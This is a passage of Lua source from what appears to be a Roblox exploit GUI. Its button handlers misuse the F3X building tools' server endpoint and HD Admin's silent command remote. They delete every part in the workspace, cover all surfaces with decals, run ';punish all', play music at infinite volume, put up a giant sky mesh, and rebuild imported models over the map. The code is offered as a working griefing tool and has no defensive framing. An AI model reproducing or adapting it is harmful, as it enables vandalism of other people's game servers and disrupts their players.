serverendpoint:InvokeServer(unpack(args))
name(part, "Sky")
lock(part, true)
setcollision(part, false)
end)
end
local function fireall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
addfire(v)
syncfire(v)
end)
end
end
end
local function sixsixsix()
fireall()
sky666()
decalspam()
colorall()
lightall()
end
sixsixsix()
end)
end;
task.spawn(C_24);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_26()
local script = G2L["26"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
-- ?Y�1 Tambahan: daftar 3 ID decal
local ids = {
"93092188749697"
}
while wait(0.1) do
spawn(function()
local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100)
local f = char.HumanoidRootPart.CFrame.y
local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100)
CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
SetName(v,"particle")
-- ?Y�1 pilih salah satu ID acak dari daftar di atas
local id = ids[math.random(1, #ids)]
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SetTrans(v,1)
Resize(v,Vector3.new(7,7,0.1),v.CFrame)
SetLocked(v,true)
while wait(0.01) do
MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z))
end
end
end
end)
end
end)
end;
task.spawn(C_26);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_28()
local script = G2L["28"];
script.Parent.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local backpack = player.Backpack
local e = char.HumanoidRootPart.CFrame.x
local f = char.HumanoidRootPart.CFrame.y
local g = char.HumanoidRootPart.CFrame.z
local ModelPosition = CFrame.new(math.floor(e), math.floor(f), math.floor(g)) * CFrame.new(100, -1, -140)
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("F3X Tools not found")
return
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function huse()
local model_id = "134035486439798"
local imported_model = game:GetObjects("rbxassetid://" .. model_id)[1]
imported_model.Parent = game.Lighting
local primary = (imported_model:IsA("Model") and imported_model.PrimaryPart) or imported_model:FindFirstChildWhichIsA("BasePart")
local originCF = primary and primary.CFrame or CFrame.new()
for _, v in next, imported_model:GetDescendants() do
pcall(function()
if v:IsA("BasePart") then
v.Anchored = true
end
end)
end
local destination = workspace
task.delay(10, function()
imported_model:Destroy()
end)
local function f3xbuildpart(targetCF, fake_part)
local partType = "Normal"
if fake_part:IsA("WedgePart") then partType = "Wedge"
elseif fake_part:IsA("Seat") then partType = "Seat"
elseif fake_part:IsA("VehicleSeat") then partType = "VehicleSeat"
elseif fake_part:IsA("TrussPart") then partType = "Truss"
elseif fake_part:IsA("SpawnLocation") then partType = "Spawn"
elseif fake_part:IsA("Part") then
if fake_part.Shape == Enum.PartType.Ball then partType = "Ball"
elseif fake_part.Shape == Enum.PartType.Cylinder then partType = "Cylinder"
end
end
local created = serverendpoint:InvokeServer("CreatePart", partType, targetCF, destination)
if created then
task.spawn(function()
serverendpoint:InvokeServer("SyncResize", { { Part = created, CFrame = created.CFrame, Size = fake_part.Size } })
if fake_part.Transparency ~= 0 then
serverendpoint:InvokeServer("SyncMaterial", { { Part = created, Transparency = fake_part.Transparency } })
end
serverendpoint:InvokeServer("SyncColor", { { Part = created, Color = fake_part.Color, UnionColoring = true } })
serverendpoint:InvokeServer("SyncMaterial", { { Part = created, Material = fake_part.Material } })
serverendpoint:InvokeServer("SyncCollision", { { Part = created, CanCollide = fake_part.CanCollide } })
local texture = fake_part:FindFirstChildOfClass("Texture")
if texture then
serverendpoint:InvokeServer("CreateTextures", { { Part = created, Face = texture.Face, TextureType = "Texture" } })
serverendpoint:InvokeServer("SyncTexture", { { Part = created, Face = texture.Face, TextureType = "Texture", StudsPerTileU = texture.StudsPerTileU, StudsPerTileV = texture.StudsPerTileV, Texture = texture.Texture, Transparency = texture.Transparency } })
end
local decal = fake_part:FindFirstChildOfClass("Decal")
if decal then
serverendpoint:InvokeServer("CreateTextures", { { Part = created, Face = decal.Face, TextureType = "Decal" } })
serverendpoint:InvokeServer("SyncTexture", { { Part = created, Face = decal.Face, TextureType = "Decal", Texture = decal.Texture, Transparency = decal.Transparency } })
end
local mesh = fake_part:FindFirstChildOfClass("SpecialMesh")
if mesh then
serverendpoint:InvokeServer("CreateMeshes", { { Part = created } })
serverendpoint:InvokeServer("SyncMesh", { { Part = created, MeshId = mesh.MeshId, TextureId = mesh.TextureId, Scale = mesh.Scale } })
end
end)
end
end
for _, part in next, imported_model:GetDescendants() do
if part:IsA("BasePart") then
local relativeCF = originCF:ToObjectSpace(part.CFrame)
local finalCF = ModelPosition:ToWorldSpace(relativeCF)
task.spawn(function()
f3xbuildpart(finalCF, part)
end)
end
end
print("Done!")
end
huse()
end)
end;
task.spawn(C_28);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_2a()
local script = G2L["2a"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 1332644289 ;pitch 0.80 ;volume inf")
wait(4)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 133180219581309 ;pitch 0.09 ;volume inf")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("18454759223")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function SetVertexColor(part, vec)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["VertexColor"] = vec
}
}
}
_(args)
end
function Sky(id)
local root = char:WaitForChild("HumanoidRootPart")
local pos = root.CFrame + Vector3.new(0, -15, 0)
CreatePart(pos, workspace)
task.wait(0.2)
local skyPart
for _, v in workspace:GetChildren() do
if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "Skybox")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(9000, 9000, 9000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
SetVertexColor(skyPart, Vector3.new(3,3,3))
end
end
Sky("2577916730")
for _, v in pairs(game.Players:GetPlayers()) do
v.Chatted:Connect(function(msg)
if msg == "/e laugh" then
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 130759239")
RequestCommand:InvokeServer(";volume 10")
task.wait(2.078)
RequestCommand:InvokeServer(";unmusic")
task.wait(0.1)
RequestCommand:InvokeServer(";music 133180219581309 ;pitch 0.09 ;volume inf")
end
end)
end
end)
end;
task.spawn(C_2a);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_2c()
local script = G2L["2c"];
script.Parent.MouseButton1Click:Connect(function()
-- original script: require(17102919719).map("yournamehere")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function _(args)
serverendpoint:InvokeServer(unpack(args))
end
local function createtexture(part, side)
local args = {
"CreateTextures",
{
{
Part = part,
Face = side,
TextureType = "Texture"
}
}
}
_(args)
end
function mate(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = int
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function floor(part, face)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = face,
["TextureType"] = "Texture",
["Texture"] = "rbxassetid://83901588886686",
["StudsPerTileV"] = 2,
["StudsPerTileU"] = 2
}
}
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local function unanchorall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
DestroyPart(v)
end)
end
end
end
local function realm()
rq:InvokeServer(";punish all")
unanchorall()
task.wait(1)
local model_id = "17102919719"
local imported_model = game:GetObjects("rbxassetid://" .. model_id)[1]
imported_model.Parent = game.Lighting
for _, v in next, imported_model:GetDescendants() do
pcall(function()
v.Anchored = true
end)
end
local plr = game:GetService("Players").LocalPlayer
local f3x_name = "Building Tools"
local destination = workspace
coroutine.wrap(function()
task.wait(10)
imported_model.Parent = nil
end)()
function f3xbuildpart(part, cframe, destination, size, transparency, colour, material, collision, fake_part)
local allPartsData = {}
table.insert(allPartsData, {
Type = fake_part:IsA("WedgePart") and "Wedge" or fake_part:IsA("Seat") and "Seat" or fake_part:IsA("VehicleSeat") and "VehicleSeat" or fake_part:IsA("TrussPart") and "Truss" or fake_part:IsA("SpawnLocation") and "Spawn" or
fake_part.Shape == Enum.PartType.Block and "Normal" or
fake_part.Shape == Enum.PartType.Ball and "Ball" or
fake_part.Shape == Enum.PartType.Cylinder and "Cylinder",
CFrame = fake_part.CFrame,
Size = fake_part.Size,
Transparency = fake_part.Transparency,
Color = fake_part.Color,
Material = fake_part.Material,
Collision = fake_part.CanCollide,
Ref = fake_part,
})
local sync = plr.Backpack:FindFirstChild(f3x_name).SyncAPI.ServerEndpoint
local partMap = {}
for _, data in ipairs(allPartsData) do
local created = sync:InvokeServer("CreatePart", data.Type, data.CFrame, destination)
partMap[data.Ref] = created
end
for _, data in ipairs(allPartsData) do
local created = partMap[data.Ref]
if not created then continue end
spawn(function()
if data.Size ~= Vector3.new(4,1,2) then
sync:InvokeServer("SyncResize", {
{ Part = created, CFrame = created.CFrame, Size = data.Size }
})
end
if data.Transparency ~= 0 then
sync:InvokeServer("SyncMaterial", {
{ Part = created, Transparency = data.Transparency }
})
end
if data.Color ~= BrickColor.new("Medium stone grey").Color then
sync:InvokeServer("SyncColor", {
{ Part = created, Color = data.Color, UnionColoring = true }
})
end
if data.Material ~= "Plastic" then
sync:InvokeServer("SyncMaterial", {
{ Part = created, Material = data.Material }
})
end
if data.Collision ~= true then
sync:InvokeServer("SyncCollision", {
{ Part = created, CanCollide = data.Collision }
})
end
local ref = data.Ref
local texture = ref:FindFirstChildOfClass("Texture")
if texture then
sync:InvokeServer("CreateTextures", {
{ Part = created, Face = texture.Face, TextureType = "Texture" }
})
sync:InvokeServer("SyncTexture", {
{ Part = created, Face = texture.Face, TextureType = "Texture", StudsPerTileU = texture.StudsPerTileU, StudsPerTileV = texture.StudsPerTileV, Texture = texture.Texture, Transparency = texture.Transparency }
})
end
local decal = ref:FindFirstChildOfClass("Decal")
if decal then
sync:InvokeServer("CreateTextures", {
{ Part = created, Face = decal.Face, TextureType = "Decal" }
})
sync:InvokeServer("SyncTexture", {
{ Part = created, Face = decal.Face, TextureType = "Decal", Texture = decal.Texture, Transparency = decal.Transparency }
})
end
local mesh = ref:FindFirstChildOfClass("SpecialMesh")
if mesh then
sync:InvokeServer("CreateMeshes", {
{ Part = created }
})
sync:InvokeServer("SyncMesh", {
{ Part = created, MeshId = mesh.MeshId, TextureId = mesh.TextureId, Scale = mesh.Scale }
})
end
local light1 = ref:FindFirstChildOfClass("SpotLight")
if light1 then
sync:InvokeServer("CreateLights", {
{ Part = created, LightType = "SpotLight" }
})
sync:InvokeServer("SyncLighting", {
{ Part = created, LightType = "SpotLight", Color = light1.Color, Range = light1.Range, Face = light1.Face, Angle = light1.Angle, Shadows = light1.Shadows }
})
end
local light2 = ref:FindFirstChildOfClass("PointLight")
if light2 then
sync:InvokeServer("CreateLights", {
{ Part = created, LightType = "PointLight" }
})
sync:InvokeServer("SyncLighting", {
{ Part = created, LightType = "PointLight", Color = light2.Color, Range = light2.Range, Shadows = light2.Shadows }
})
end
end)
end
end
for _, part in next, imported_model:GetDescendants() do
local function spawnpart(fn)
task.spawn(fn)
end
if part:IsA("Part") then
if part.Shape == Enum.PartType.Block then
spawnpart(function()
f3xbuildpart("Normal", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
end)
elseif part.Shape == Enum.PartType.Ball then
spawnpart(function()
f3xbuildpart("Ball", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
end)
elseif part.Shape == Enum.PartType.Cylinder then
spawnpart(function()
f3xbuildpart("Cylinder", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
end)
end
elseif part:IsA("WedgePart") then
spawnpart(function()
f3xbuildpart("Wedge", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
end)
elseif part:IsA("Seat") then
spawnpart(function()
f3xbuildpart("Seat", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
end)
elseif part:IsA("TrussPart") then
spawnpart(function()
f3xbuildpart("Truss", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
end)
elseif part:IsA("VehicleSeat") then
spawnpart(function()
f3xbuildpart("VehicleSeat", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
end)
elseif part:IsA("SpawnLocation") then
spawnpart(function()
f3xbuildpart("Spawn", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
end)
end
end
print("Finished build.")
task.wait(5)
end
realm()
wait(8)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";respawn all")
end)
end;
task.spawn(C_2c);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_2e()
local script = G2L["2e"];
script.Parent.MouseButton1Click:Connect(function()
local RunService = game:GetService("RunService")
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local hrp = char:WaitForChild("HumanoidRootPart")
local f3xTool
for _, v in pairs(player:GetDescendants()) do
if v.Name == "SyncAPI" then
f3xTool = v.Parent
break
end
end
local remote = f3xTool.SyncAPI.ServerEndpoint
local function Send(args) remote:InvokeServer(unpack(args)) end
local myTool = Instance.new("Tool")
myTool.RequiresHandle = false
myTool.Name = "Mystic Annihilation"
myTool.Parent = player.Backpack
myTool.Activated:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 1837808628 ;volume 5")
local function CreatePart(cf, parent)
Send({"CreatePart", "Normal", cf, parent})
end
local function MovePart(part, cf)
Send({"SyncMove", {{Part = part, CFrame = cf}}})
end
local function SetAnchor(bool, part)
Send({"SyncAnchor", {{Part = part, Anchored = bool}}})
end
local function SetLocked(part, bool)
Send({"SetLocked", {part}, bool})
end
local function SetCollision(part, bool)
Send({"SyncCollision", {{Part = part, CanCollide = bool}}})
end
local function Resize(part, size, cf)
Send({"SyncResize", {{Part = part, Size = size, CFrame = cf}}})
end
local function SetColor(part, color)
Send({"SyncColor", {{Part = part, Color = color, UnionColoring = false}}})
end
local function createdecal(part, side)
Send({"CreateTextures", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal"}}})
end
local function SetTrans(part, int)
Send({"SyncMaterial", {{["Part"] = part, ["Transparency"] = int}}})
end
local function AddDecal(part, asset, side)
Send({"SyncTexture", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://" .. asset}}})
end
local function DestroyPart(part)
Send({"Remove", {part}})
end
local depthOffset = -3.69
local offset = Vector3.new(0, 0, 0)
local padCF = CFrame.new(hrp.Position + offset + Vector3.new(0, depthOffset, 0))
CreatePart(padCF, workspace)
task.wait(0.4)
local pad
for _, v in pairs(workspace:GetChildren()) do
if v:IsA("Part") and (v.Position - padCF.p).Magnitude < 5 then
pad = v
break
end
end
if pad then
SetAnchor(true, pad)
SetLocked(pad, true)
SetCollision(pad, false)
Resize(pad, Vector3.new(50, 1.5, 50), pad.CFrame)
SetTrans(pad, 1)
SetColor(pad, Color3.fromRGB(255, 255, 255))
createdecal(pad, Enum.NormalId.Top)
AddDecal(pad, "196689311", Enum.NormalId.Top)
local rotationAngle = 0
local spinSpeed = 5
local connection
connection = RunService.Heartbeat:Connect(function()
if hrp and pad and pad.Parent then
rotationAngle = rotationAngle + spinSpeed
local targetPos = hrp.Position + Vector3.new(0, depthOffset, 0) + offset
local finalCF = CFrame.new(targetPos) * CFrame.Angles(0, math.rad(rotationAngle), 0)
MovePart(pad, finalCF)
else
connection:Disconnect()
end
end)
task.wait(60)
DestroyPart(pad)
RequestCommand:InvokeServer(";unmusic")
end
end)
end)
end;
task.spawn(C_2e);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_30()
local script = G2L["30"];
script.Parent.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local character = player.Character
local player = game.Players.LocalPlayer
local char = player.Character
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
-- get all info
local f3x = getf3x()
if not f3x then
warn("where yo btools at")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local workspace = game:GetService("Workspace")
local player = Players.LocalPlayer
local function findTools()
local char = player.Character or player.CharacterAdded:Wait()
for _, v in ipairs(char:GetChildren()) do
if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(player.Backpack:GetChildren()) do
if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
return v
end
end
end
local tool = findTools()
if not tool then return end
local remote = tool.SyncAPI.ServerEndpoint
